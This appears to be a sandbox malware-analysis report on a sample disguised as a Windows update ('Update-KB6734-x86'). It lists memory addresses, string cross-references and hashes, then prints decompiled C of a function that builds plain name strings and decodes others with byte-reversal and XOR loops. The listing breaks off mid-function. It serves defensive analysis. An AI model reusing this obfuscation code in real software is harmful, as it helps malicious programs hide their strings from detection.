0x0040f5fd
0x0040f605
0x0040f60d
0x0040f615
0x0040f61d
0x0040f624
0x0040f62c
0x0040f634
0x0040f63c
0x0040f644
0x0040f64c
0x0040f654
0x0040f65b
0x0040f663
0x0040f66b
0x0040f673
0x0040f67b
0x0040f683
0x0040f68b
0x0040f694
0x0040f69c
0x0040f6a4
0x0040f6ac
0x0040f6b4
0x0040f6bc
0x0040f6c4
0x0040f6cc
0x0040f6d4
0x0040f6dc
0x0040f6e4
0x0040f6ec
0x0040f6f4
0x0040f6fc
0x0040f701
0x0040f70a
0x0040f712
0x0040f714
0x0040f71c
0x0040f724
0x0040f72c
0x0040f734
0x0040f73c
0x0040f744
0x0040f74c
0x0040f754
0x0040f75b
0x0040f763
0x0040f76b
0x0040f773
0x0040f77b
0x0040f783
0x0040f78a
0x0040f792
0x0040f79a
0x0040f7a2
0x0040f7aa
0x0040f7b2
0x0040f7ba
0x0040f7c2
0x0040f7ca
0x0040f7d2
0x0040f7d9
0x0040f7e1
0x0040f7e9
0x0040f7f1
0x0040f7f9
0x0040f801
0x0040f809
0x0040f811
0x0040f819
0x0040f821
0x0040f829
0x0040f831
0x0040f83e
0x0040f842
0x0040f847
0x0040f84c
0x0040f851
0x0040f855
0x0040f85d
0x0040f865
0x0040f86d
0x0040f875
0x0040f87d
0x0040f885
0x0040f88c
0x0040f894
0x0040f89c
0x0040f8a4
0x0040f8ac
0x0040f8b3
0x0040f8bb
0x0040f8c3
0x0040f8cb
0x0040f8d3
0x0040f8dc
0x0040f8e4
0x0040f8ec
0x0040f8f3
0x0040f8fb
0x0040f903
0x0040f90b
0x0040f913
0x0040f91b
0x0040f922
0x0040f92a
0x0040f932
0x0040f93a
0x0040f942
0x0040f94a
0x0040f952
0x0040f95a
0x0040f962
0x0040f96a
0x0040f971
0x0040f979
0x0040f981
0x0040f989
0x0040f991
0x0040f998
0x0040f9a0
0x0040f9a8
0x0040f9b0
0x0040f9b8
0x0040f9c0
0x0040f9c8
0x0040f9cf
0x0040f9d7
0x0040f9df
0x0040f9e7
0x0040f9ef
0x0040f9f7
0x0040f9fe
0x0040fa06
0x0040fa0e
0x0040fa16
0x0040fa1e
0x0040fa26
0x0040fa2e
0x0040fa36
0x0040fa3e
0x0040fa46
0x0040fa4e
0x0040fa53
0x0040fa5b
0x0040fa63
0x0040fa6b
0x0040fa73
0x0040fa7b
0x0040fa83
0x0040fa85
0x0040fa90
0x0040fa97
0x0040faa2
0x0040faad
0x0040faae
0x0040fab5
0x0040fab6
0x0040facb
0x0040fadf
0x0040faed
0x0040fb01
0x0040fb0f
0x0040fb19
0x0040fb1e
0x0040fb25
0x0040fb2d
0x0040fb35
0x0040fb3d
0x0040fb45
0x0040fb4d
0x0040fb54
0x0040fb5c
0x0040fb64
0x0040fb6c
0x0040fb74
0x0040fb7c
0x0040fb83
0x0040fb8b
0x0040fb93
0x0040fb9b
0x0040fba3
0x0040fbab
0x0040fbb3
0x0040fbb5
0x0040fbc0
0x0040fbc7
0x0040fbce
0x0040fbd5
0x0040fbdc
0x0040fbdd
0x0040fbe4
0x0040fbe7
0x0040fbeb
0x0040fbeb
0x0040fc08
0x0040fc16
0x0040fc2a
0x0040fc38
0x0040fc4c
0x0040fc53
0x0040fc61
0x0040fc69
0x0040fc6d
0x0040fc74
0x0040fc78
0x0040fc7f
0x0040fc8a
0x0040fc95
0x0040fca0
0x0040fcaf
0x0040fcb3
0x0040fcc2
0x0040fcc6
0x0040fcd1
0x0040fcd5
0x0040fcdc
0x0040fce7
0x0040fcf9
0x0040fd04
0x0040fd0f
0x0040fd13
0x0040fd1a
0x0040fd22
0x0040fd2a
0x0040fd32
0x0040fd3a
0x0040fd42
0x0040fd4a
0x0040fd52
0x0040fd5a
0x0040fd61
0x0040fd69
0x0040fd71
0x0040fd79
0x0040fd81
0x0040fd89
0x0040fd91
0x0040fd98
0x0040fda0
0x0040fda8
0x0040fdb0
0x0040fdb8
0x0040fdc0
0x0040fdc8
0x0040fdcf
0x0040fdd3
0x0040fdd7
0x0040fde6
0x0040fdea
0x0040fdf5
0x0040fe03
0x0040fe11
0x0040fe18
0x0040fe1f
0x0040fe2d
0x0040fe34
0x0040fe3b
0x0040fe49
0x0040fe57
0x0040fe5e
0x0040fe7a
0x0040fe81
0x0040fe88
0x0040fe9d
0x0040fea4
0x0040feab
0x0040feb2
0x0040fecb
0x0040fed2
0x0040fed9
0x0040fee0
0x0040feef
0x0040fef3
0x0040fef5
0x0040fef8
0x0040fef8
0x0040fefa
0x0040fefb
0x0040ff24

Strings

a, xrefs: 0040FB54
gibor, xrefs: 0040FE9D
a, xrefs: 0040FDA0
s, xrefs: 0040FD79
d, xrefs: 0040F79A
g, xrefs: 0040F624
d, xrefs: 0040F347
a, xrefs: 0040F62C
e, xrefs: 0040F847
e, xrefs: 0040F92A
6, xrefs: 0040F2DF
r, xrefs: 0040F6F4
t, xrefs: 0040F518
i, xrefs: 0040F9A8
g, xrefs: 0040F989
n, xrefs: 0040F615
#, xrefs: 0040FA1E
a, xrefs: 0040F85D
k, xrefs: 0040F971
b, xrefs: 0040F3CE
e, xrefs: 0040FB3D
o, xrefs: 0040F2A0
e, xrefs: 0040F95A
B, xrefs: 0040F5CE
h, xrefs: 0040FA53
lybor, xrefs: 0040FC6D
a, xrefs: 0040FB64
d, xrefs: 0040FA0E
q, xrefs: 0040F2E7
r, xrefs: 0040F357
7, xrefs: 0040F65B
s, xrefs: 0040F35F
z, xrefs: 0040FD52
g, xrefs: 0040FB25
e, xrefs: 0040F84C
r, xrefs: 0040F9A0
r, xrefs: 0040FB2D
m, xrefs: 0040FB6C
], xrefs: 0040F7F9
l, xrefs: 0040F842
b, xrefs: 0040F724
r, xrefs: 0040FDA8
m, xrefs: 0040F5F5
g, xrefs: 0040F913
r, xrefs: 0040F87D
agy, xrefs: 0040FE18
r, xrefs: 0040FDC0
e, xrefs: 0040F520
>, xrefs: 0040FA5B
n, xrefs: 0040F981
h, xrefs: 0040F508
h, xrefs: 0040F596
r, xrefs: 0040F2A8
r, xrefs: 0040F78A
o, xrefs: 0040F298
h, xrefs: 0040F5E5
n, xrefs: 0040FB45
a, xrefs: 0040F942
w, xrefs: 0040F500
y, xrefs: 0040F8F3
k, xrefs: 0040F86D
t, xrefs: 0040F9C0
5, xrefs: 0040FA06
n, xrefs: 0040F36F
p, xrefs: 0040F5FD
eroon, xrefs: 0040FCD5
o, xrefs: 0040F8FB
z, xrefs: 0040F962
o, xrefs: 0040F71C
w, xrefs: 0040F855
i, xrefs: 0040F979
e, xrefs: 0040F3BE
a, xrefs: 0040F337
i, xrefs: 0040F644
herej, xrefs: 0040FC78
e, xrefs: 0040F8CB
t, xrefs: 0040F5DD
o, xrefs: 0040F5ED
`, xrefs: 0040F6B4
n, xrefs: 0040FD89
g, xrefs: 0040F9B0
r, xrefs: 0040F634
l, xrefs: 0040F801
o, xrefs: 0040F367
w, xrefs: 0040F998
r, xrefs: 0040F7A2
e, xrefs: 0040FD69
irdor, xrefs: 0040FE34
e, xrefs: 0040F875
n, xrefs: 0040F33F
o, xrefs: 0040F792
t, xrefs: 0040FDB0
n, xrefs: 0040F8E4
l, xrefs: 0040FD42
p, xrefs: 0040F39E
n, xrefs: 0040F94A
r, xrefs: 0040F714
s, xrefs: 0040F605
>, xrefs: 0040F2D7
l, xrefs: 0040FD71
d, xrefs: 0040F952
e, xrefs: 0040FB35
n, xrefs: 0040F90B
c, xrefs: 0040F63C
m, xrefs: 0040F6E4
6, xrefs: 0040F663
d, xrefs: 0040FB5C
n, xrefs: 0040F93A
r, xrefs: 0040F932
o, xrefs: 0040FD81
h, xrefs: 0040F922
h, xrefs: 0040F9B8
e, xrefs: 0040FD4A
i, xrefs: 0040F510
i, xrefs: 0040F72C
e, xrefs: 0040F34F
s, xrefs: 0040FB74
a, xrefs: 0040F64C
n, xrefs: 0040FD61
i, xrefs: 0040F67B
l, xrefs: 0040F6C4
c, xrefs: 0040FD98
l, xrefs: 0040F865
s, xrefs: 0040F557
u, xrefs: 0040F903
o, xrefs: 0040F60D
e, xrefs: 0040FDB8

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CountTick
String ID: #$5$6$6$7$>$>$B$]$`$a$a$a$a$a$a$a$a$agy$b$b$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$t$t$t$t$u$w$w$w$y$z$z
API String ID: 536389180-3007975938
Opcode ID: 8ee9640c17f91ccb7d287c1752a923c24f15c941b78ca902b81a0f24a1e0ded3
Instruction ID: 3eef77c2757c53a506e9ba4930021fd98a878e4b0ac0346694406f782fac75c3
Opcode Fuzzy Hash: 8ee9640c17f91ccb7d287c1752a923c24f15c941b78ca902b81a0f24a1e0ded3
Instruction Fuzzy Hash: AE729D2054D7C189E332C72884587DFBFD26BE6718F488E9ED4DD1B292C6BA0258C767

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBF0, Relevance: 148.3, Strings: 118, Instructions: 783
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040DBF0(void* __ebx, void* __edx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				signed char _v70;
				signed char _v71;
				signed char _v72;
				signed char _v73;
				signed char _v74;
				signed char _v75;
				signed char _v76;
				signed char _v78;
				signed char _v79;
				signed char _v80;
				signed char _v81;
				signed char _v82;
				signed char _v83;
				signed char _v84;
				char _v92;
				char _v100;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				signed char _v127;
				signed char _v128;
				signed char _v129;
				signed char _v130;
				signed char _v131;
				signed char _v132;
				signed char _v135;
				signed char _v136;
				signed char _v137;
				signed char _v138;
				signed char _v139;
				signed char _v140;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v156;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				signed char _v175;
				signed char _v176;
				signed char _v177;
				signed char _v178;
				signed char _v179;
				signed char _v180;
				signed char _v183;
				signed char _v184;
				signed char _v185;
				signed char _v186;
				signed char _v187;
				signed char _v188;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v204;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				signed char _v231;
				signed char _v232;
				signed char _v233;
				signed char _v234;
				signed char _v235;
				signed char _v236;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v268;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				signed int _v287;
				signed int _v288;
				signed int _v289;
				signed int _v290;
				signed int _v291;
				signed int _v292;
				signed int _v294;
				signed int _v295;
				signed int _v296;
				signed int _v297;
				signed int _v298;
				signed int _v299;
				signed int _v300;
				char _v308;
				signed int _v311;
				signed int _v312;
				signed int _v313;
				signed int _v314;
				signed int _v315;
				signed int _v316;
				signed int _v318;
				signed int _v319;
				signed int _v320;
				signed int _v321;
				signed int _v322;
				signed int _v323;
				char _v324;
				char _v326;
				signed int _v327;
				signed int _v328;
				signed int _v329;
				signed int _v330;
				signed int _v331;
				signed int _v332;
				signed int _v335;
				signed int _v336;
				signed int _v337;
				signed int _v338;
				signed int _v339;
				signed int _v340;
				signed int _v343;
				signed char _v344;
				signed char _v345;
				signed char _v346;
				signed char _v347;
				signed char _v348;
				intOrPtr _v352;
				signed int* _v356;
				signed char* _v360;
				signed int* _v364;
				signed char* _v368;
				char* _v372;
				intOrPtr _v376;
				char* _v380;
				intOrPtr _v384;
				char* _v388;
				intOrPtr _v392;
				char* _v396;
				signed char* _v400;
				intOrPtr _v404;
				char* _v408;
				char* _v412;
				char* _v416;
				intOrPtr _v420;
				char* _v424;
				signed int* _v428;
				intOrPtr _v432;
				signed int* _v436;
				char* _v440;
				signed int _v444;
				char* _v448;
				char* _v452;
				char* _v456;
				intOrPtr _v460;
				char* _v464;
				intOrPtr _v468;
				char _v469;
				char _v470;
				char _v471;
				char _v472;
				signed char* _v476;
				char* _v480;
				char _v481;
				char _v482;
				char _v483;
				void* _v484;
				char _v485;
				char _v486;
				char _v487;
				void* _v488;
				char _v489;
				char _v490;
				char _v491;
				void* _v492;
				char _v493;
				char _v494;
				char _v495;
				void* _v496;
				char* _v500;
				intOrPtr _v504;
				signed char _v505;
				signed char _v506;
				signed char _v507;
				signed char _v508;
				char _v509;
				char _v510;
				char _v511;
				char _v512;
				intOrPtr _v516;
				char _v517;
				char _v518;
				char _v519;
				char _v520;
				intOrPtr _v524;
				signed int _v525;
				signed int _v526;
				signed int _v527;
				signed int _v528;
				char _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v552;
				intOrPtr _t627;
				void* _t630;
				void* _t636;
				char* _t642;
				void* _t644;
				void* _t652;
				void* _t657;
				void* _t664;
				void* _t670;
				void* _t677;
				void* _t683;
				void* _t690;
				char _t697;
				char _t702;
				signed int _t720;
				intOrPtr* _t722;
				char _t729;
				char _t734;
				char _t742;
				char _t749;
				char _t754;
				char _t760;
				char _t770;
				char _t775;
				char _t781;
				void* _t787;
				void* _t792;
				intOrPtr _t810;
				intOrPtr _t886;
				void* _t887;
				void* _t889;
				void* _t890;
				signed int _t891;
				void* _t892;
				void* _t893;
				char _t894;
				signed int _t895;
				void* _t896;
				void* _t897;
				void* _t898;
				void* _t899;
				char _t900;
				intOrPtr _t903;
				void* _t905;

				_t905 =  &_v488;
				_t627 =  *0x4310d8; // 0xa9302559
				_v4 = _t627;
				_push(4);
				_push( &_v472);
				_v244 = 0x61;
				_v243 = 0x64;
				_v242 = 0x61;
				_v241 = 0x6d;
				_v240 = 0;
				_v472 = 0x65;
				_v471 = 0xc0;
				_v470 = 0x88;
				_v469 = 0xf4;
				_v488 = 0x73;
				_v487 = 0x11;
				_v486 = 0x7e;
				_v485 = 0x1c;
				_v460 = E0040D980( &_v488);
				_v212 = 0x62;
				_v211 = 0x72;
				_v210 = 0x65;
				_v209 = 0x6e;
				_v208 = 0x74;
				_v207 = 0;
				_v292 = 0xb0;
				_v291 = 0xef;
				_v290 = 0xd3;
				_v289 = 0x32;
				_v288 = 0x31;
				_v287 = 0xee;
				_t630 = 0;
				_t889 = 5;
				do {
					_t729 =  *((intOrPtr*)(_t905 + _t630 + 0xd8));
					 *((char*)(_t905 + _t630 + 0xd8)) =  *((intOrPtr*)(_t905 + _t889 + 0xd8));
					_t630 = _t630 + 1;
					 *((char*)(_t905 + _t889 + 0xd8)) = _t729;
					_t889 = _t889 - 1;
				} while (_t630 < _t889);
				_v188 = _v292 ^ 0x0000008c;
				_v187 = _v291 ^ 0x00000043;
				_v186 = _v290 ^ 0x0000005b;
				_v185 = _v289 ^ 0x000000b2;
				_v226 = 0x76;
				_v170 = 0x76;
				_v184 = _v288 ^ 0x00000081;
				_v183 = _v287 ^ 0x000000b0;
				_v76 = 0x63;
				_v75 = 0x72;
				_v74 = 0x61;
				_v73 = 0x69;
				_v72 = 0x67;
				_v71 = 0;
				_v148 = 0x63;
				_v147 = 0x79;
				_v146 = 0x62;
				_v145 = 0x65;
				_v144 = 0x72;
				_v143 = 0;
				_v484 = 0x64;
				_v483 = 0x61;
				_v482 = 0x6e;
				_v481 = 0;
				_v228 = 0x64;
				_v227 = 0x61;
				_v225 = 0x65;
				_v224 = 0;
				_v172 = 0x64;
				_v171 = 0x61;
				_v169 = 0x69;
				_v168 = 0x64;
				_v167 = 0;
				_v292 = 0x85;
				_v291 = 0x75;
				_v290 = 0x61;
				_v289 = 0x60;
				_v288 = 0x68;
				_v287 = 0x2c;
				_t636 = 0;
				_t890 = 5;
				do {
					_t734 =  *((intOrPtr*)(_t905 + _t636 + 0xd8));
					 *((char*)(_t905 + _t636 + 0xd8)) =  *((intOrPtr*)(_t905 + _t890 + 0xd8));
					_t636 = _t636 + 1;
					 *((char*)(_t905 + _t890 + 0xd8)) = _t734;
					_t890 = _t890 - 1;
				} while (_t636 < _t890);
				_v132 = _v292 ^ 0x00000048;
				_v131 = _v291 ^ 0x0000000d;
				_v130 = _v290 ^ 0x00000002;
				_v129 = _v289 ^ 0x00000003;
				_push(4);
				_v128 = _v288 ^ 0x0000000c;
				_push( &_v492);
				 *0x431c89 = 0x19;
				_v127 = _v287 ^ 0x00000085;
				_v492 = 0xc1;
				_v491 = 0x6a;
				_v490 = 0x1d;
				_v489 = 4;
				_v496 = 0xb0;
				_v495 = 0xd4;
				_v494 = 0xb1;
				_v493 = 0xdf;
				_t642 = E0040D980( &_v496);
				_push(6);
				_push( &_v116);
				_v464 = _t642;
				_v116 = 0x57;
				_v115 = 0xc8;
				_v114 = 0x41;
				_v113 = 3;
				_v112 = 0x4e;
				_v111 = 0x40;
				_v300 = 0xd4;
				_v299 = 0xb2;
				_v298 = 0xc0;
				_v297 = 0xa1;
				_v296 = 0xcf;
				_v295 = 0xa4;
				_v484 = E0040D980( &_v300);
				_v300 = 0x78;
				_v299 = 0x39;
				_v298 = 0xb1;
				_v297 = 0xa4;
				_v296 = 0xe;
				_v295 = 0x10;
				_v294 = 9;
				_t644 = 0;
				_t891 = 6;
				do {
					_t742 =  *((intOrPtr*)(_t905 + _t644 + 0xe0));
					 *((char*)(_t905 + _t644 + 0xe0)) =  *((intOrPtr*)(_t905 + _t891 + 0xe0));
					_t644 = _t644 + 1;
					 *((char*)(_t905 + _t891 + 0xe0)) = _t742;
					_t891 = _t891 - 1;
				} while (_t644 < _t891);
				_v76 = _v300 ^ 0x0000006e;
				_v75 = _v299 ^ 0x00000075;
				_v74 = _v298 ^ 0x00000061;
				_v73 = _v297 ^ 0x000000d6;
				_v72 = _v296 ^ 0x000000d6;
				_push(8);
				_push( &_v44);
				_v71 = _v295 ^ 0x0000005c;
				 *0x431c89 = 0x19;
				_v70 = _v294 ^ 0x00000078;
				_v44 = 0xef;
				_v43 = 0xb3;
				_v42 = 0x36;
				_v41 = 0x5a;
				_v40 = 0x64;
				_v39 = 0x36;
				_v38 = 0xbd;
				_v37 = 0x1b;
				_v284 = 0x1c;
				_v283 = 0x7b;
				_v282 = 0x1e;
				_v281 = 0x6c;
				_v280 = 4;
				_v279 = 0x65;
				_v278 = 0x17;
				_v277 = 0x73;
				_v488 = E0040D980( &_v284);
				_v316 = 0x1b;
				_v315 = 0xd3;
				_v314 = 0xb2;
				_v313 = 0xb7;
				_v312 = 0xd9;
				_v311 = 0x57;
				_t652 = 0;
				_t892 = 5;
				do {
					_t749 =  *((intOrPtr*)(_t905 + _t652 + 0xd8));
					 *((char*)(_t905 + _t652 + 0xd8)) =  *((intOrPtr*)(_t905 + _t892 + 0xd8));
					_t652 = _t652 + 1;
					 *((char*)(_t905 + _t892 + 0xd8)) = _t749;
					_t892 = _t892 - 1;
				} while (_t652 < _t892);
				_v180 = _v316 ^ 0x0000003d;
				_v179 = _v315 ^ 0x000000b8;
				_v178 = _v314 ^ 0x000000da;
				_v177 = _v313 ^ 0x000000d7;
				_v176 = _v312 ^ 0x000000a0;
				_v175 = _v311 ^ 0x0000001b;
				_v76 = 0x6a;
				_v75 = 0x61;
				_v74 = 0x79;
				_v73 = 0x73;
				_v72 = 0x6f;
				_v71 = 0x6e;
				_v70 = 0;
				_v316 = 0x5d;
				_v315 = 0xdf;
				_v314 = 0x27;
				_v313 = 0xb2;
				_v312 = 0x24;
				_v311 = 0xa9;
				_t657 = 0;
				_t893 = 5;
				do {
					_t754 =  *((intOrPtr*)(_t905 + _t657 + 0xd8));
					 *((char*)(_t905 + _t657 + 0xd8)) =  *((intOrPtr*)(_t905 + _t893 + 0xd8));
					_t657 = _t657 + 1;
					 *((char*)(_t905 + _t893 + 0xd8)) = _t754;
					_t893 = _t893 - 1;
				} while (_t657 < _t893);
				_v140 = _v316 ^ 0x000000c3;
				_v139 = _v315 ^ 0x00000041;
				_v138 = _v314 ^ 0x000000c0;
				_v137 = _v313 ^ 0x00000055;
				_push(4);
				_v136 = _v312 ^ 0x000000a6;
				_push( &_v512);
				 *0x431c89 = 0x19;
				_v135 = _v311 ^ 0x0000005d;
				_v512 = 0x89;
				_v511 = 0xda;
				_v510 = 8;
				_v509 = 0x66;
				_v520 = 0x42;
				_v519 = 0x28;
				_v518 = 0x41;
				_v517 = 0x2c;
				_v504 = E0040D980( &_v520);
				_v528 = 0xb7;
				_v527 = 0xde;
				_v526 = 0x21;
				_v525 = 0x73;
				_t664 = 0;
				_t894 = 3;
				do {
					_t760 =  *((intOrPtr*)(_t905 + _t664 + 0xc));
					 *((char*)(_t905 + _t664 + 0xc)) =  *((intOrPtr*)(_t905 + _t894 + 0xc));
					_t664 = _t664 + 1;
					 *((char*)(_t905 + _t894 + 0xc)) = _t760;
					_t894 = _t894 - 1;
				} while (_t664 < _t894);
				_v508 = _v528 ^ 0x00000019;
				_v507 = _v527 ^ 0x0000004e;
				_push(6);
				_push( &_v196);
				_t266 =  &_v324; // 0x78
				_v506 = _v526 ^ 0x000000bb;
				 *0x431c89 = 0x19;
				_v505 = _v525 ^ 0x000000b7;
				_v292 = 0x6a;
				_v291 = 0x6f;
				_v290 = 0x68;
				_v289 = 0x6e;
				_v288 = 0;
				_v196 = 0xf5;
				_v195 = 0x6f;
				_v194 = 0x36;
				_v193 = 0x2c;
				_v192 = 0x84;
				_v191 = 0x4f;
				_v324 = 0x45;
				_v323 = 0x24;
				_v322 = 0x48;
				_v321 = 0x21;
				_v320 = 0x42;
				_v319 = 0x27;
				_v536 = E0040D980(_t266);
				_v276 = 0x61;
				_v275 = 0x6e;
				_v274 = 0x6e;
				_v273 = 0x61;
				_v272 = 0;
				_v324 = 0x6e;
				_v323 = 0x3b;
				_v322 = 0x97;
				_v321 = 0xd3;
				_v320 = 0x92;
				_v319 = 0xcb;
				_v318 = 0x44;
				_t670 = 0;
				_t895 = 6;
				do {
					_t300 = _t895 + 0xe0; // 0x6e
					_t302 = _t670 + 0xe0; // 0x6e
					 *((char*)(_t905 + _t670 + 0xe0)) =  *((intOrPtr*)(_t905 + _t300));
					_t670 = _t670 + 1;
					 *((char*)(_t905 + _t895 + 0xe0)) =  *((intOrPtr*)(_t905 + _t302));
					_t895 = _t895 - 1;
				} while (_t670 < _t895);
				_t307 =  &_v324; // 0x6e
				_v84 =  *_t307 ^ 0x00000026;
				_v81 = _v321 ^ 0x000000bd;
				_v83 = _v323 ^ 0x000000b9;
				_v82 = _v322 ^ 0x000000f7;
				_v78 = _v318 ^ 0x0000006e;
				_v80 = _v320 ^ 0x000000f3;
				_v79 = _v319 ^ 0x0000005a;
				_v60 = 0x63;
				_v59 = 0x6c;
				_v58 = 0x61;
				_v57 = 0x75;
				_v56 = 0x64;
				_v55 = 0x69;
				_v54 = 0x61;
				_v53 = 0;
				_v332 = 0x71;
				_v331 = 0x6a;
				_v330 = 0x4c;
				_v329 = 0x72;
				_v328 = 0x4d;
				_v327 = 1;
				_t677 = 0;
				_t896 = 5;
				do {
					_t770 =  *((intOrPtr*)(_t905 + _t677 + 0xd8));
					 *((char*)(_t905 + _t677 + 0xd8)) =  *((intOrPtr*)(_t905 + _t896 + 0xd8));
					_t677 = _t677 + 1;
					 *((char*)(_t905 + _t896 + 0xd8)) = _t770;
					_t896 = _t896 - 1;
				} while (_t677 < _t896);
				_t345 =  &_v330; // 0x4c
				_v180 = _v332 ^ 0x00000069;
				_t347 =  &_v329; // 0x72
				_v179 = _v331 ^ 0x00000028;
				_t349 =  &_v328; // 0x4d
				_v178 =  *_t345 ^ 0x0000001e;
				_v177 =  *_t347 ^ 0x00000029;
				_v330 = 0xb5;
				_v329 = 0xb5;
				_v176 =  *_t349 ^ 0x00000004;
				_v175 = _v327 ^ 0x00000071;
				_v260 = 0x6a;
				_v259 = 0x61;
				_v258 = 0x6e;
				_v257 = 0x65;
				_v256 = 0;
				_v332 = 0x16;
				_v331 = 0xa9;
				_v328 = 0x78;
				_v327 = 0xb9;
				_t683 = 0;
				_t897 = 5;
				do {
					_t775 =  *((intOrPtr*)(_t905 + _t683 + 0xd8));
					 *((char*)(_t905 + _t683 + 0xd8)) =  *((intOrPtr*)(_t905 + _t897 + 0xd8));
					_t683 = _t683 + 1;
					 *((char*)(_t905 + _t897 + 0xd8)) = _t775;
					_t897 = _t897 - 1;
				} while (_t683 < _t897);
				_v140 = _v332 ^ 0x000000d4;
				_v139 = _v331 ^ 0x00000019;
				_v138 = _v330 ^ 0x000000c7;
				_v137 = _v329 ^ 0x000000dc;
				_push(6);
				_v136 = _v328 ^ 0x000000c8;
				_push( &_v108);
				 *0x431c89 = 0x19;
				_v135 = _v327 ^ 0x00000016;
				_v108 = 0x53;
				_v107 = 0x8b;
				_v106 = 0xa2;
				_v105 = 0x94;
				_v104 = 0x67;
				_v103 = 0x43;
				_v332 = 0x66;
				_v331 = 0x35;
				_v330 = 0x40;
				_v329 = 0x33;
				_v328 = 0x52;
				_v327 = 0x3c;
				_t903 = E0040D980( &_v332);
				_v132 = 0x6c;
				_v131 = 0x69;
				_v130 = 0x6e;
				_v129 = 0x64;
				_v128 = 0x61;
				_v127 = 0;
				_v84 = 0x73;
				_v83 = 0x61;
				_v82 = 0x6e;
				_v81 = 0x64;
				_v80 = 0x72;
				_v79 = 0x61;
				_v78 = 0;
				_v292 = 0x6c;
				_v291 = 0x69;
				_v290 = 0x73;
				_v289 = 0x61;
				_v288 = 0;
				_v340 = 0x61;
				_v339 = 1;
				_v338 = 0x45;
				_v337 = 0xff;
				_v336 = 0x6e;
				_v335 = 0xf4;
				_t690 = 0;
				_t898 = 5;
				do {
					_t781 =  *((intOrPtr*)(_t905 + _t690 + 0xdc));
					 *((char*)(_t905 + _t690 + 0xdc)) =  *((intOrPtr*)(_t905 + _t898 + 0xdc));
					_t690 = _t690 + 1;
					 *((char*)(_t905 + _t898 + 0xdc)) = _t781;
					_t898 = _t898 - 1;
				} while (_t690 < _t898);
				_v140 = _v340 ^ 0x00000099;
				_v139 = _v339 ^ 0x0000000f;
				_v138 = _v338 ^ 0x00000091;
				_v137 = _v337 ^ 0x00000026;
				_push(6);
				_v136 = _v336 ^ 0x00000078;
				_push( &_v172);
				_t444 =  &_v340; // 0x66
				 *0x431c89 = 0x19;
				_v135 = _v335 ^ 0x00000061;
				_v172 = 0;
				_v171 = 0xc3;
				_v170 = 0x49;
				_v169 = 0x83;
				_v168 = 0xfc;
				_v167 = 0x33;
				_v340 = 0x75;
				_v339 = 0x1e;
				_v338 = 0x7f;
				_v337 = 0xd;
				_v336 = 0x68;
				_v335 = 6;
				_t886 = E0040D980(_t444);
				_v260 = 0x62;
				_v259 = 0x65;
				_v258 = 0x74;
				_v257 = 0x74;
				_v256 = 0x79;
				_v255 = 0;
				_v252 = 0x68;
				_v251 = 0x65;
				_v250 = 0x6c;
				_v249 = 0x65;
				_v248 = 0x6e;
				_v247 = 0;
				_v324 = 0x73;
				_v323 = 0x61;
				_v322 = 0x6e;
				_v321 = 0x64;
				_v320 = 0x72;
				_v319 = 0x61;
				_v318 = 0;
				_v348 = 8;
				_v347 = 0xf;
				_v346 = 0x6d;
				_v345 = 0xa3;
				_v344 = 0x9f;
				_v343 = 0x98;
				_t787 = 0;
				_t899 = 5;
				do {
					_t697 =  *((intOrPtr*)(_t905 + _t787 + 0xdc));
					 *((char*)(_t905 + _t787 + 0xdc)) =  *((intOrPtr*)(_t905 + _t899 + 0xdc));
					_t787 = _t787 + 1;
					 *((char*)(_t905 + _t899 + 0xdc)) = _t697;
					_t899 = _t899 - 1;
				} while (_t787 < _t899);
				_v235 = _v347 ^ 0x000000f0;
				_v236 = _v348 ^ 0x000000dc;
				_v234 = _v346 ^ 0x000000cd;
				_v232 = _v344 ^ 0x0000006e;
				_v233 = _v345 ^ 0x00000003;
				_v231 = _v343 ^ 0x00000008;
				_v340 = 0x63;
				_v339 = 0x61;
				_v338 = 0x72;
				_v337 = 0x6f;
				_v336 = 0x6c;
				_v335 = 0;
				_v332 = 0xee;
				_v331 = 0x5b;
				_v330 = 0xc5;
				_v329 = 0x99;
				_v328 = 0x2f;
				_t792 = 0;
				_t900 = 4;
				do {
					_t702 =  *((intOrPtr*)(_t905 + _t792 + 0xec));
					 *((char*)(_t905 + _t792 + 0xec)) =  *((intOrPtr*)(_t905 + _t900 + 0xec));
					_t792 = _t792 + 1;
